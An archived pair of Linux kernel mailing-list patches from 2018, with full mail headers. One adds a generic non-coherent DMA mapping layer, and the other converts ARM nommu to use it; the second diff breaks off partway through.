X-Trace: blaine.gmane.org 1524211337 16638 195.159.176.226 (20 Apr 2018 08:02:17 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:02:17 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:02:12 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9Qzj-0004CV-Go
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:02:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754159AbeDTIEL (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:04:11 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:39524 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753777AbeDTID7 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:03:59 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=sWcoqyyCtrmor13nx/6k3SNvsxY2BTxOBvxjoGPy/RI=; b=O4zdKX6pwDTNvO3SRNjFblaQH
        +cfT2S+3XozfnlCoJipIVvpGlJtAd0bgIdcxLbpnKZvCgBKAWVg/qOWbHPfVt4ndaxoRYhIPLRqWN
        WlP8YhqhnObXLqw2qWMZkOF9LdgPOX+cBfaHCnqwHTL2hXCKV14XaszuRthnIoQxdZ1wmCCZo1clU
        IV8x3ApD7PcpjTFqfpUl3x7Hh5gJqJwrnimFIQprxQEVV70dHaoc2K8d2aeKe231O8ESO4TEl3NTN
        ltob3Jx5RybiIiAaECrmdsD3QDgYDudY1fUJ7rk9DD2NSr/NmzEy4sULu/xMoRpTtRd4aEYZkBjuT
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R0v-0007JN-Er; Fri, 20 Apr 2018 08:03:26 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746066 gmane.linux.kernel.cross-arch:43558 gmane.linux.ports.alpha:4957 gmane.linux.kernel.arc:3800 gmane.linux.ports.arm.kernel:644790 gmane.linux.ports.hexagon:1643 gmane.linux.ports.parisc:28515 gmane.linux.ports.sh.devel:56866 gmane.linux.ports.sparc:27683
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746066>

Add a new dma_map_ops implementation that uses dma-direct for the
address mapping of streaming mappings, and which requires arch-specific
implemenations of coherent allocate/free.

Architectures have to provide flushing helpers to ownership trasnfers
to the device and/or CPU, and can provide optional implementations of
the coherent mmap functionality, and the cache_flush routines for
non-coherent long term allocations.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 MAINTAINERS                       |   2 +
 include/asm-generic/dma-mapping.h |   9 +++
 include/linux/dma-direct.h        |   7 ++-
 include/linux/dma-mapping.h       |   1 +
 include/linux/dma-noncoherent.h   |  47 ++++++++++++++
 lib/Kconfig                       |  20 ++++++
 lib/Makefile                      |   1 +
 lib/dma-direct.c                  |   8 +--
 lib/dma-noncoherent.c             | 101 ++++++++++++++++++++++++++++++
 9 files changed, 191 insertions(+), 5 deletions(-)
 create mode 100644 include/linux/dma-noncoherent.h
 create mode 100644 lib/dma-noncoherent.c

diff --git a/MAINTAINERS b/MAINTAINERS
index b60179d948bb..bbaf5459d297 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4327,12 +4327,14 @@ W:	http://git.infradead.org/users/hch/dma-mapping.git
 S:	Supported
 F:	lib/dma-debug.c
 F:	lib/dma-direct.c
+F:	lib/dma-noncoherent.c
 F:	lib/dma-virt.c
 F:	drivers/base/dma-mapping.c
 F:	drivers/base/dma-coherent.c
 F:	include/asm-generic/dma-mapping.h
 F:	include/linux/dma-direct.h
 F:	include/linux/dma-mapping.h
+F:	include/linux/dma-noncoherent.h
 
 DME1737 HARDWARE MONITOR DRIVER
 M:	Juerg Haefliger <juergh@gmail.com>
diff --git a/include/asm-generic/dma-mapping.h b/include/asm-generic/dma-mapping.h
index 880a292d792f..ad2868263867 100644
--- a/include/asm-generic/dma-mapping.h
+++ b/include/asm-generic/dma-mapping.h
@@ -4,7 +4,16 @@
 
 static inline const struct dma_map_ops *get_arch_dma_ops(struct bus_type *bus)
 {
+	/*
+	 * Use the non-coherent ops if available.  If an architecture wants a
+	 * more fine-grained selection of operations it will have to implement
+	 * get_arch_dma_ops itself or use the per-device dma_ops.
+	 */
+#ifdef CONFIG_DMA_NONCOHERENT_OPS
+	return &dma_noncoherent_ops;
+#else
 	return &dma_direct_ops;
+#endif
 }
 
 #endif /* _ASM_GENERIC_DMA_MAPPING_H */
diff --git a/include/linux/dma-direct.h b/include/linux/dma-direct.h
index 53ad6a47f513..8d9f33febde5 100644
--- a/include/linux/dma-direct.h
+++ b/include/linux/dma-direct.h
@@ -59,6 +59,11 @@ void *dma_direct_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
 		gfp_t gfp, unsigned long attrs);
 void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		dma_addr_t dma_addr, unsigned long attrs);
+dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size, enum dma_data_direction dir,
+		unsigned long attrs);
+int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl, int nents,
+		enum dma_data_direction dir, unsigned long attrs);
 int dma_direct_supported(struct device *dev, u64 mask);
-
+int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr);
 #endif /* _LINUX_DMA_DIRECT_H */
diff --git a/include/linux/dma-mapping.h b/include/linux/dma-mapping.h
index 25a9a2b04f78..4be070df5fc5 100644
--- a/include/linux/dma-mapping.h
+++ b/include/linux/dma-mapping.h
@@ -136,6 +136,7 @@ struct dma_map_ops {
 };
 
 extern const struct dma_map_ops dma_direct_ops;
+extern const struct dma_map_ops dma_noncoherent_ops;
 extern const struct dma_map_ops dma_virt_ops;
 
 #define DMA_BIT_MASK(n)	(((n) == 64) ? ~0ULL : ((1ULL<<(n))-1))
diff --git a/include/linux/dma-noncoherent.h b/include/linux/dma-noncoherent.h
new file mode 100644
index 000000000000..10b2654d549b
--- /dev/null
+++ b/include/linux/dma-noncoherent.h
@@ -0,0 +1,47 @@
+/* SPDX-License-Identifier: GPL-2.0 */
+#ifndef _LINUX_DMA_NONCOHERENT_H
+#define _LINUX_DMA_NONCOHERENT_H 1
+
+#include <linux/dma-mapping.h>
+
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs);
+void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs);
+
+#ifdef CONFIG_DMA_NONCOHERENT_MMAP
+int arch_dma_mmap(struct device *dev, struct vm_area_struct *vma,
+		void *cpu_addr, dma_addr_t dma_addr, size_t size,
+		unsigned long attrs);
+#else
+#define arch_dma_mmap NULL
+#endif /* CONFIG_DMA_NONCOHERENT_MMAP */
+
+#ifdef CONFIG_DMA_NONCOHERENT_CACHE_SYNC
+void arch_dma_cache_sync(struct device *dev, void *vaddr, size_t size,
+		enum dma_data_direction direction);
+#else
+#define arch_dma_cache_sync NULL
+#endif /* CONFIG_DMA_NONCOHERENT_CACHE_SYNC */
+
+#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_DEVICE
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir);
+#else
+static inline void arch_sync_dma_for_device(struct device *dev,
+		phys_addr_t paddr, size_t size, enum dma_data_direction dir)
+{
+}
+#endif /* ARCH_HAS_SYNC_DMA_FOR_DEVICE */
+
+#ifdef CONFIG_ARCH_HAS_SYNC_DMA_FOR_CPU
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir);
+#else
+static inline void arch_sync_dma_for_cpu(struct device *dev,
+		phys_addr_t paddr, size_t size, enum dma_data_direction dir)
+{
+}
+#endif /* ARCH_HAS_SYNC_DMA_FOR_CPU */
+
+#endif /* _LINUX_DMA_NONCOHERENT_H */
diff --git a/lib/Kconfig b/lib/Kconfig
index 726b0562caa7..ae4bf1d8af11 100644
--- a/lib/Kconfig
+++ b/lib/Kconfig
@@ -441,10 +441,30 @@ config ARCH_DMA_ADDR_T_64BIT
 config IOMMU_HELPER
 	bool
 
+config ARCH_HAS_SYNC_DMA_FOR_DEVICE
+	bool
+
+config ARCH_HAS_SYNC_DMA_FOR_CPU
+	bool
+	select NEED_DMA_MAP_STATE
+
 config DMA_DIRECT_OPS
 	bool
 	depends on HAS_DMA
 
+config DMA_NONCOHERENT_OPS
+	bool
+	depends on HAS_DMA
+	select DMA_DIRECT_OPS
+
+config DMA_NONCOHERENT_MMAP
+	bool
+	depends on DMA_NONCOHERENT_OPS
+
+config DMA_NONCOHERENT_CACHE_SYNC
+	bool
+	depends on DMA_NONCOHERENT_OPS
+
 config DMA_VIRT_OPS
 	bool
 	depends on HAS_DMA
diff --git a/lib/Makefile b/lib/Makefile
index 94203b5eecd4..9f18c8152281 100644
--- a/lib/Makefile
+++ b/lib/Makefile
@@ -30,6 +30,7 @@ lib-$(CONFIG_PRINTK) += dump_stack.o
 lib-$(CONFIG_MMU) += ioremap.o
 lib-$(CONFIG_SMP) += cpumask.o
 lib-$(CONFIG_DMA_DIRECT_OPS) += dma-direct.o
+lib-$(CONFIG_DMA_NONCOHERENT_OPS) += dma-noncoherent.o
 lib-$(CONFIG_DMA_VIRT_OPS) += dma-virt.o
 
 lib-y	+= kobject.o klist.o
diff --git a/lib/dma-direct.c b/lib/dma-direct.c
index 199ae4cdd28f..9abb93541dfe 100644
--- a/lib/dma-direct.c
+++ b/lib/dma-direct.c
@@ -120,7 +120,7 @@ void dma_direct_free(struct device *dev, size_t size, void *cpu_addr,
 		free_pages((unsigned long)cpu_addr, page_order);
 }
 
-static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
+dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
 		unsigned long offset, size_t size, enum dma_data_direction dir,
 		unsigned long attrs)
 {
@@ -131,8 +131,8 @@ static dma_addr_t dma_direct_map_page(struct device *dev, struct page *page,
 	return dma_addr;
 }
 
-static int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl,
-		int nents, enum dma_data_direction dir, unsigned long attrs)
+int dma_direct_map_sg(struct device *dev, struct scatterlist *sgl, int nents,
+		enum dma_data_direction dir, unsigned long attrs)
 {
 	int i;
 	struct scatterlist *sg;
@@ -167,7 +167,7 @@ int dma_direct_supported(struct device *dev, u64 mask)
 	return 1;
 }
 
-static int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr)
+int dma_direct_mapping_error(struct device *dev, dma_addr_t dma_addr)
 {
 	return dma_addr == DIRECT_MAPPING_ERROR;
 }
diff --git a/lib/dma-noncoherent.c b/lib/dma-noncoherent.c
new file mode 100644
index 000000000000..f4b8532c20ac
--- /dev/null
+++ b/lib/dma-noncoherent.c
@@ -0,0 +1,101 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright (C) 2018 Christoph Hellwig.
+ *
+ * DMA operations that map physical memory directly without providing cache
+ * coherence.
+ */
+#include <linux/export.h>
+#include <linux/mm.h>
+#include <linux/dma-direct.h>
+#include <linux/dma-noncoherent.h>
+#include <linux/scatterlist.h>
+
+static void dma_noncoherent_sync_single_for_device(struct device *dev,
+		dma_addr_t addr, size_t size, enum dma_data_direction dir)
+{
+	arch_sync_dma_for_device(dev, dma_to_phys(dev, addr), size, dir);
+}
+
+static void dma_noncoherent_sync_sg_for_device(struct device *dev,
+		struct scatterlist *sgl, int nents, enum dma_data_direction dir)
+{
+	struct scatterlist *sg;
+	int i;
+
+	for_each_sg(sgl, sg, nents, i)
+		arch_sync_dma_for_device(dev, sg_phys(sg), sg->length, dir);
+}
+
+static dma_addr_t dma_noncoherent_map_page(struct device *dev, struct page *page,
+		unsigned long offset, size_t size, enum dma_data_direction dir,
+		unsigned long attrs)
+{
+	dma_addr_t addr;
+
+	addr = dma_direct_map_page(dev, page, offset, size, dir, attrs);
+	if (!dma_mapping_error(dev, addr) && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		arch_sync_dma_for_device(dev, page_to_phys(page), size, dir);
+	return addr;
+}
+
+static int dma_noncoherent_map_sg(struct device *dev, struct scatterlist *sgl,
+		int nents, enum dma_data_direction dir, unsigned long attrs)
+{
+	nents = dma_direct_map_sg(dev, sgl, nents, dir, attrs);
+	if (nents > 0 && !(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		dma_noncoherent_sync_sg_for_device(dev, sgl, nents, dir);
+	return nents;
+}
+
+#ifdef CONFIG_DMA_NONCOHERENT_SYNC_FOR_CPU
+static void dma_noncoherent_sync_single_for_cpu(struct device *dev,
+		dma_addr_t addr, size_t size, enum dma_data_direction dir)
+{
+	arch_sync_dma_for_cpu(dev, dma_to_phys(dev, addr), size, dir);
+}
+
+static void dma_noncoherent_sync_sg_for_cpu(struct device *dev,
+		struct scatterlist *sgl, int nents, enum dma_data_direction dir)
+{
+	struct scatterlist *sg;
+	int i;
+
+	for_each_sg(sgl, sg, nents, i)
+		arch_sync_dma_for_cpu(dev, sg_phys(sg), sg->length, dir);
+}
+
+static void dma_noncoherent_unmap_page(struct device *dev, dma_addr_t addr,
+		size_t size, enum dma_data_direction dir, unsigned long attrs)
+{
+	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		dma_noncoherent_sync_single_for_cpu(dev, addr, size, dir);
+}
+
+static void dma_noncoherent_unmap_sg(struct device *dev, struct scatterlist *sgl,
+		int nents, enum dma_data_direction dir, unsigned long attrs)
+{
+	if (!(attrs & DMA_ATTR_SKIP_CPU_SYNC))
+		dma_noncoherent_sync_sg_for_cpu(dev, sgl, nents, dir);
+}
+#endif
+
+const struct dma_map_ops dma_noncoherent_ops = {
+	.alloc			= arch_dma_alloc,
+	.free			= arch_dma_free,
+	.mmap			= arch_dma_mmap,
+	.sync_single_for_device	= dma_noncoherent_sync_single_for_device,
+	.sync_sg_for_device	= dma_noncoherent_sync_sg_for_device,
+	.map_page		= dma_noncoherent_map_page,
+	.map_sg			= dma_noncoherent_map_sg,
+#ifdef CONFIG_DMA_NONCOHERENT_SYNC_FOR_CPU
+	.sync_single_for_cpu	= dma_noncoherent_sync_single_for_cpu,
+	.sync_sg_for_cpu	= dma_noncoherent_sync_sg_for_cpu,
+	.unmap_page		= dma_noncoherent_unmap_page,
+	.unmap_sg		= dma_noncoherent_unmap_sg,
+#endif
+	.dma_supported		= dma_direct_supported,
+	.mapping_error		= dma_direct_mapping_error,
+	.cache_sync		= arch_dma_cache_sync,
+};
+EXPORT_SYMBOL(dma_noncoherent_ops);
-- 
2.17.0



From - Thu Nov 08 21:41:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 07/22] arm-nommu: use generic dma_noncoherent_ops
Date: Fri, 20 Apr 2018 10:02:58 +0200
Lines: 256
Approved: news@gmane.org
Message-ID: <20180420080313.18796-8-hch@lst.de>
References: <20180420080313.18796-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524211338 16753 195.159.176.226 (20 Apr 2018 08:02:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Apr 2018 08:02:18 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Apr 20 10:02:13 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1f9Qzk-0004CV-SV
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Apr 2018 10:02:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754214AbeDTIEU (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Apr 2018 04:04:20 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:39868 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753854AbeDTIEO (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Apr 2018 04:04:14 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=/YUuFuc/LpPhyL+FqwZ7gYlI2zCOH5kNABId7GZgbwg=; b=uDNDpovsgM+PVn+LDcLN/ef6L
        r3H7Bkhqzk2IHPItPBTcNxDA/hc2DwOZi2NBaqrb0Xjx3Qa9K0ZFpZsIW0PjWHsY1ZeewGPgcefuz
        qHMOGuqilJYFX+3wZAcA1AZAZyEsX7oKOQzVxBNMvOHjNDAnA7NeaAWq1m87KzpUmt7xfagHw91i9
        pPHsgrecjvO/Q1QnORWaSAxJIGsUeywTk2oNU8BJD3g7ie8NMJr7mYNCsosVx2GPTLnvivRbIRKba
        NlAcwYloY+KsPxFr47ph3NH7r3y+vh8DUxqh+1e7nKCANpyyOigzovuez2n3Va5iKlXRz47eiIPoU
    
Original-Received: from static-242-42-24-46.ipcom.comunitel.net ([46.24.42.242] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1f9R19-0007O5-UO; Fri, 20 Apr 2018 08:03:40 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180420080313.18796-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2746067 gmane.linux.kernel.cross-arch:43559 gmane.linux.ports.alpha:4958 gmane.linux.kernel.arc:3801 gmane.linux.ports.arm.kernel:644791 gmane.linux.ports.hexagon:1644 gmane.linux.ports.parisc:28516 gmane.linux.ports.sh.devel:56867 gmane.linux.ports.sparc:27684
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2746067>

Switch to the generic noncoherent direct mapping implementation for
the nommu dma map implementation.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/arc/Kconfig                |   1 +
 arch/arm/Kconfig                |   4 +
 arch/arm/mm/dma-mapping-nommu.c | 139 +++++---------------------------
 3 files changed, 23 insertions(+), 121 deletions(-)

diff --git a/arch/arc/Kconfig b/arch/arc/Kconfig
index 89d47eac18b2..3a492a9aeaad 100644
--- a/arch/arc/Kconfig
+++ b/arch/arc/Kconfig
@@ -9,6 +9,7 @@
 config ARC
 	def_bool y
 	select ARC_TIMERS
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_HAS_SYNC_DMA_FOR_CPU
 	select ARCH_HAS_SYNC_DMA_FOR_DEVICE
 	select ARCH_HAS_SG_CHAIN
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index f91f69174630..eacc45ac4e77 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -12,6 +12,8 @@ config ARM
 	select ARCH_HAS_PHYS_TO_DMA
 	select ARCH_HAS_STRICT_KERNEL_RWX if MMU && !XIP_KERNEL
 	select ARCH_HAS_STRICT_MODULE_RWX if MMU
+	select ARCH_HAS_SYNC_DMA_FOR_CPU if !MMU
+	select ARCH_HAS_SYNC_DMA_FOR_DEVICE if !MMU
 	select ARCH_HAS_TICK_BROADCAST if GENERIC_CLOCKEVENTS_BROADCAST
 	select ARCH_HAVE_CUSTOM_GPIO_H
 	select ARCH_HAS_GCOV_PROFILE_ALL
@@ -27,6 +29,8 @@ config ARM
 	select CPU_PM if (SUSPEND || CPU_IDLE)
 	select DCACHE_WORD_ACCESS if HAVE_EFFICIENT_UNALIGNED_ACCESS
 	select DMA_DIRECT_OPS if !MMU
+	select DMA_NONCOHERENT_OPS if !MMU
+	select DMA_NONCOHERENT_MMAP if !MMU
 	select EDAC_SUPPORT
 	select EDAC_ATOMIC_SCRUB
 	select GENERIC_ALLOCATOR
diff --git a/arch/arm/mm/dma-mapping-nommu.c b/arch/arm/mm/dma-mapping-nommu.c
index f448a0663b10..a74ed6632982 100644
--- a/arch/arm/mm/dma-mapping-nommu.c
+++ b/arch/arm/mm/dma-mapping-nommu.c
@@ -12,6 +12,7 @@
 #include <linux/export.h>
 #include <linux/mm.h>
 #include <linux/dma-direct.h>
+#include <linux/dma-noncoherent.h>
 #include <linux/scatterlist.h>
 
 #include <asm/cachetype.h>
@@ -26,18 +27,16 @@
  *   - MMU/MPU is off
  *   - cpu is v7m w/o cache support
  *   - device is coherent
- *  otherwise arm_nommu_dma_ops is used.
+ *  otherwise dma_noncoherent_ops is used.
  *
- *  arm_nommu_dma_ops rely on consistent DMA memory (please, refer to
+ *  dma_noncoherent_ops rely on consistent DMA memory (please, refer to
  *  [1] on how to declare such memory).
  *
  *  [1] Documentation/devicetree/bindings/reserved-memory/reserved-memory.txt
  */
 
-static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
-				 dma_addr_t *dma_handle, gfp_t gfp,
-				 unsigned long attrs)
-
+void *arch_dma_alloc(struct device *dev, size_t size, dma_addr_t *dma_handle,
+		gfp_t gfp, unsigned long attrs)
 {
 	void *ret;
 
@@ -65,9 +64,8 @@ static void *arm_nommu_dma_alloc(struct device *dev, size_t size,
 	return ret;
 }
 
-static void arm_nommu_dma_free(struct device *dev, size_t size,
-			       void *cpu_addr, dma_addr_t dma_addr,
-			       unsigned long attrs)
+void arch_dma_free(struct device *dev, size_t size, void *cpu_addr,
+		dma_addr_t dma_addr, unsigned long attrs)
 {
 	if (attrs & DMA_ATTR_NON_CONSISTENT) {
 		dma_direct_free(dev, size, cpu_addr, dma_addr, attrs);
@@ -81,9 +79,9 @@ static void arm_nommu_dma_free(struct device *dev, size_t size,
 	return;
 }
 
-static int arm_nommu_dma_mmap(struct device *dev, struct vm_area_struct *vma,
-			      void *cpu_addr, dma_addr_t dma_addr, size_t size,
-			      unsigned long attrs)
+int arch_dma_mmap(struct device *dev, struct vm_area_struct *vma,
+		void *cpu_addr, dma_addr_t dma_addr, size_t size,
+		unsigned long attrs)
 {
 	int ret;
 
@@ -93,9 +91,8 @@ static int arm_nommu_dma_mmap(struct device *dev, struct vm_area_struct *vma,
 	return dma_common_mmap(dev, vma, cpu_addr, dma_addr, size);
 }
 
-
-static void __dma_page_cpu_to_dev(phys_addr_t paddr, size_t size,
-				  enum dma_data_direction dir)
+void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
 	dmac_map_area(__va(paddr), size, dir);
 
@@ -105,8 +102,8 @@ static void __dma_page_cpu_to_dev(phys_addr_t paddr, size_t size,
 		outer_clean_range(paddr, paddr + size);
 }
 
-static void __dma_page_dev_to_cpu(phys_addr_t paddr, size_t size,
-				  enum dma_data_direction dir)
+void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
+		size_t size, enum dma_data_direction dir)
 {
 	if (dir != DMA_TO_DEVICE) {
 		outer_inv_range(paddr, paddr + size);
@@ -114,110 +111,9 @@ static void __dma_page_dev_to_cpu(phys_addr_t paddr, size_t size,
 	}
 }
 
-static dma_addr_t arm_nommu_dma_map_page(struct device *dev, struct page *page,
-					 unsigned long offset, size_t size,
-					 enum dma_data_direction dir,
-					 unsigned long attrs)
-{
-	dma_addr_t handle = page_to_phys(page) + offset;
-
-	__dma_page_cpu_to_dev(handle, size, dir);
-
-	return handle;
-}
-
-static void arm_nommu_dma_unmap_page(struct device *dev, dma_addr_t handle,
-				     size_t size, enum dma_data_direction dir,
-				     unsigned long attrs)
-{
-	__dma_page_dev_to_cpu(handle, size, dir);
-}
-
-
-static int arm_nommu_dma_map_sg(struct device *dev, struct scatterlist *sgl,
-				int nents, enum dma_data_direction dir,
-				unsigned long attrs)
-{
-	int i;
-	struct scatterlist *sg;
-
-	for_each_sg(sgl, sg, nents, i) {
-		sg_dma_address(sg) = sg_phys(sg);
-		sg_dma_len(sg) = sg->length;
-		__dma_page_cpu_to_dev(sg_dma_address(sg), sg_dma_len(sg), dir);
-	}
-
-	return nents;
-}
-
-static void arm_nommu_dma_unmap_sg(struct device *dev, struct scatterlist *sgl,
-				   int nents, enum dma_data_direction dir,
-				   unsigned long attrs)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sgl, sg, nents, i)
-		__dma_page_dev_to_cpu(sg_dma_address(sg), sg_dma_len(sg), dir);
-}
-
-static void arm_nommu_dma_sync_single_for_device(struct device *dev,
-		dma_addr_t handle, size_t size, enum dma_data_direction dir)
-{
-	__dma_page_cpu_to_dev(handle, size, dir);
-}
-
-static void arm_nommu_dma_sync_single_for_cpu(struct device *dev,
-		dma_addr_t handle, size_t size, enum dma_data_direction dir)
-{
-	__dma_page_cpu_to_dev(handle, size, dir);
-}
-
-static void arm_nommu_dma_sync_sg_for_device(struct device *dev, struct scatterlist *sgl,
-					     int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sgl, sg, nents, i)
-		__dma_page_cpu_to_dev(sg_dma_address(sg), sg_dma_len(sg), dir);
-}
-
-static void arm_nommu_dma_sync_sg_for_cpu(struct device *dev, struct scatterlist *sgl,
-					  int nents, enum dma_data_direction dir)
-{
-	struct scatterlist *sg;
-	int i;
-
-	for_each_sg(sgl, sg, nents, i)
-		__dma_page_dev_to_cpu(sg_dma_address(sg), sg_dma_len(sg), dir);
-}
-
-const struct dma_map_ops arm_nommu_dma_ops = {
-	.alloc			= arm_nommu_dma_alloc,
-	.free			= arm_nommu_dma_free,
-	.mmap			= arm_nommu_dma_mmap,
-	.map_page		= arm_nommu_dma_map_page,
-	.unmap_page		= arm_nommu_dma_unmap_page,
-	.map_sg			= arm_nommu_dma_map_sg,
-	.unmap_sg		= arm_nommu_dma_unmap_sg,
-	.sync_single_for_device	= arm_nommu_dma_sync_single_for_device,
-	.sync_single_for_cpu	= arm_nommu_dma_sync_single_for_cpu,
-	.sync_sg_for_device	= arm_nommu_dma_sync_sg_for_device,
